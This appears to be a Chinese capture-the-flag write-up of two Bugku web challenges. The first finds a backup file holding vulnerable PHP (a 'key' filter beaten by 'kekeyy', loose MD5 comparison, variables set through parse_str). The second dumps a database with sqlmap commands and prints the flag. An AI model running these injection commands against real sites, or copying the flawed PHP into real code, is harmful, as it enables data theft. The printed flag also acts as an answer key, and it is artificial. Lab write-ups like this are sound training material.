看提示,听说备份是个好习惯,这个意思看来就是线索在bak备份文件里了,直接拿御剑跑一跑。
找到了
下载下来看一看
分析下意思。
将get的两个参数中的key替换为空(这里可以用kekeyy绕过)
然后对key1,key2的值进行md5加密,并进行比较,
如果md5加密的值一样而未加密的值不同,就输出flag。
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
看提示,快来查查成绩吧。
进去看一下,这是个很典型的SQL注入。
应该手工就可以出来,我直接拿SQLmap跑了。
首先抓包保存一下。
掏出工具开始跑。
python2 sqlmap.py -r 1.txt -p id --current-db
-r打开这个1.txt文件
-p指定参数这个id
看到一个库 skctf_flag
python2 sqlmap.py -r 1.txt -p id -D skctf_flag --tables
表里有个f14g
python2 sqlmap.py -r 1.txt -p id -D skctf_flag -T fl4g --column
看一下f14g表中有什么数据。
python2 sqlmap.py -r 1.txt -p id -D skctf_flag -T fl4g -C skctf_flag --dump
在看一下skctf_flag中的值就应该能拿到flag了。
出来了BUGKU{Sql_INJECT0N_4813drd8hz4}